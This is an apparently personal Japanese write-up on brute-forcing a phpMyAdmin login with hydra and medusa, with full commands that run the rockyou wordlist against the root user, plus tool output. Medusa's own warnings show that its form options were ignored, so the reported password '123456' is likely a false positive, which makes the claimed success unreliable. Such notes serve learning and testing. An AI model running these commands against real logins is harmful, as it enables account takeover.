ゆっくりhydra & Medusa
フォームへのブルートフォース
phpMyAdminに対して、ブルートフォースをやってみる。ログインフォームに対してのブルートフォースは全部一緒。
hydra -V -f -l root -P /usr/share/wordlists/rockyou.txt xx.xx.xx.xx http-post-form '/phpmyadmin/index.php:pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207:Access denied'
-V | 進捗の冗長表示 |
-f | 成功した時点で止める |
-l | ユーザー名 |
-P | 辞書ファイル |
http-post-form | フォームに対して指定する文字列。以下を参照。 |
http-post-form
‘/phpmyadmin/index.php:pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207:Access denied’
http-post-formの引数は、以下のフォーマットで指定する。
‘<ログインフォームのパス>:<ポストで送られる文字列>:<エラー時に表示されるメッセージ>’
また、<ポストで送られる文字列>は、Burpなどのプロキシをかませて、実際にフォームを送信した内容をコピペする。例えば以下のような感じ。

^PASS^
辞書ファイルを使ってブルート・フォースしたい箇所を、^PASS^に書き換える。今回の場合は上記のポスト時に送る文字列の、pma_password=adminの部分を、pma_password=^PASS^にする。
問題発生
なぜか、成功と出るのに肝心のパスワードが表示されない。バージョンは最新版。こんなことってあるんだろうか?「-o」オプションを付けてファイルに保存しても同じ。意味がわからん、、、

Medusa
medusaで同じことをやってみる。
$ medusa -h xx.xx.xx.xx -u root -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/phpmyadmin -m FORM:POST -m DENY-SIGN:'Access denied' -m FORM-DATA:'post? pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207'
いけた。「123456」。
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
WARNING: Invalid method: FORM.
WARNING: Invalid method: DENY-SIGN.
WARNING: Invalid method: FORM-DATA.
ACCOUNT CHECK: [http] Host: xx.xx.xx.xx (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 14344391 complete)
ACCOUNT FOUND: [http] Host: xx.xx.xx.xx User: root Password: 123456 [SUCCESS]
個人的には、hydraを使っていきたいが、本日はモヤモヤしたまま終わる。。。